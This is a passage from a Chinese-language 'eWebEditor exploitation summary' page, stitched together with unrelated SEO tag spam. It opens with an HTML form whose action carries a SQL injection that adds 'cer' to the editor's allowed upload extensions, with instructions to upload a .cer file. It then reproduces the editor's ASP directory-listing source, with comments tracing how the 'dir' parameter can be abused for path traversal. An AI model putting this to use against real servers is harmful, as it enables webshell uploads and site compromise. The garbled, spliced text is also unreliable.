概要: emo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data"><input type=file name=uploadfile size=100><br><br><input type=submit value=Fuck></form>-- 以上代码令存为html!修改红色部分的路径,然后自动上传 .cer 文件!漏洞原因是
ewebeditor漏洞利用总结,标签:公司庆典活动总结,拓展活动总结,http://www.51jxk.comIf sDir <> "" Then
If InstrRev(sDir, "/") > 1 Then
s_Url= Left(sDir, InstrRev(sDir, "/") - 1)
Else
s_Url = ""
End If
s_List = s_List & "" & _
"" & _
".." & _
" " & _
""
End If
'Response.Write sDir&"!"&s_List
Dim oSubFolder
For Each oSubFolder In oUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = "" Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & "/" & oSubFolder.Name
End If
s_List = s_List & "" & _
"" & _
"" & oSubFolder.Name & "" & _
" " & _
""
Next
'Response.Write s_List
Set oUploadFiles = oUploadFolder.Files
For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了
If sDir = "" Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir & "/" & sFileName
End If
s_List = s_List & "" & _
"" & FileName2Pic(sFileName) & "" & _
"" & sFileName & "" & _
"" & GetSizeUnit(oUploadFile.size) & "" & _
""
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
If sDir = "" Then
s_Url = ""
's_Url = "/"
Else
s_Url = "/" & sDir & ""
's_Url = "/" & sDir & "/"
End If
s_List = s_List & ""
s_List = HTML2JS(s_List)
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)"
GetList = s_List
End Function
'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名
Function CheckValidExt(s_FileName)
If sAllowExt = "" Then
CheckValidExt = True
Exit Function
End If
Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), "|")
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的
Sub InitParam()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript("alert('Invalid Style.')")
End If
sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1
If nAllowBrowse <> 1 Then
OutScript("alert('Do not allow browse!')")
End If
sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <> "/" Then
Select Case sType
Case "REMOTE"
sUploadDir = "../../" & sUploadDir & "Image/"
Case "FILE"
sUploadDir = "../../" & sUploadDir & "Other/"
Case "MEDIA"
sUploadDir = "../../" & sUploadDir & "Media/"
Case "FLASH"
sUploadDir = "../../" & sUploadDir & "Flash/"
Case Else
sUploadDir = "../../" & sUploadDir & "Image/"
End Select
End If
'sUploadDir =sUploadDir &"/"
Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" & aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" & aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" & aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" & aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" & aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select
sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址
sDir = Trim(Request("dir")) '得到dir变量